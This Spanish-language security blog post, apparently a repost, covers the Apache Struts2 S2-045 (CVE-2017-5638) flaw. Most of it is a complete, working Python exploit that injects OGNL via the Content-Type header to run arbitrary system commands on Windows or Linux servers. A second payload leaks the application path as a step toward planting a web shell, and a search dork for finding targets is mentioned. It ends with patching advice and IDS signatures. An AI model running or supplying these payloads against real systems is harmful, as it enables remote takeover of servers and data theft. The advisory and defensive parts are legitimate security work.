Ayer de madrugada unos de los feeds chinos que seguimos habitualmente hizo saltar por los aires nuestra actividad llevando casi toda nuestra atención a un PoC/exploit para la vulnerabilidad CVE-2017-5638 que permite RCE (ejecución remota de comandos) en las últimas versiones de Apache Struts.
El script que os mostramos a continuación, liberado por Nike Zheng (célebre y habitual hostigador de Struts), primero en páginas como Freebuf o Bobao, se aprovecha de un fallo en la función de upload del parser de Jakarta y muestra cómo modificar la cabecera Content-Header para inyectar comandos de sistema operativo cuando se llama a un action:
El script que os mostramos a continuación, liberado por Nike Zheng (célebre y habitual hostigador de Struts), primero en páginas como Freebuf o Bobao, se aprovecha de un fallo en la función de upload del parser de Jakarta y muestra cómo modificar la cabecera Content-Header para inyectar comandos de sistema operativo cuando se llama a un action:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import requests
import httplib
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
#uso: python script.py <url> "<command>"
def exploit(url, cmd):
payload = "Content-Type:%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
#request = urllib2.Request(url, headers=headers)
request = requests.get(url, headers=headers,verify=False)
#page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
request = e.partial
print(request.text)
return request
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] struts2_S2-045.py <url> <cmd>")
else:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
url = sys.argv[1]
cmd = sys.argv[2]
print("[*] cmd: %s\n" % cmd)
exploit(url, cmd)
Si lo ejecutáis contra una aplicación vulnerable el resultado será la ejecución remota de comandos con el usuario que ejecuta el servidor. Así de sencillo:
Cualquier búsqueda en Google con un dork 'filetype:action' arroja unos 35 millones de resultados, de los cuales un alto porcentaje es vulnerable... el volumen y la criticidad de los servicios afectados es simplemente ... dramático.
Hemos dedicado horas a reportar a empresas, gobiernos, fabricantes e incluso particulares para que parchearan y corrigieran lo antes posible la vulnerabilidad, pero el exploit ya ha saltado a las grandes páginas de 'advisories' y ya se han observado intentos de explotación masivos en Internet, incluso bastante sofisticados con el objetivo de conseguir persistencia o modificaciones como las que nos trae nuestro compi Sebastian Cornejo (curiositysec) que permite obtener el path de la aplicación, paso previo a la subida de una shell al servidor:
def getpath(url):
payload = "Content-Type:%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#path=(@org.apache.struts2.ServletActionContext@getServletContext().getRealPath(\"/\")))."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.CopyUtils@copy(#path,#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
#request = urllib2.Request(url, headers=headers)
request = requests.get(url, headers=headers,verify=False)
#page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
request = e.partial
print("Path App: "+ request.text)
Como veis la criticidad es máxima y la noticia corre como la pólvora y URGE TOMAR CONTRAMEDIDAS LO ANTES POSIBLE:
- actualizar a Apache Struts (2.3.32 / 2.5.10.1 o posteriores)
- actualizar firmas del IDS/IPS. Por ej. Snort ya incluye reglas en server-apache.rules: SERVER-APACHE Apache Struts remote code execution attempt (SIDs: 41818, 41819)
Fuentes:
- http://www.freebuf.com/vuls/128668.html
- http://bobao.360.cn/learning/detail/3571.html
- http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html#more
- https://packetstormsecurity.com/files/141494/S2-45-poc.py.txt
Via:www.hackplayers.com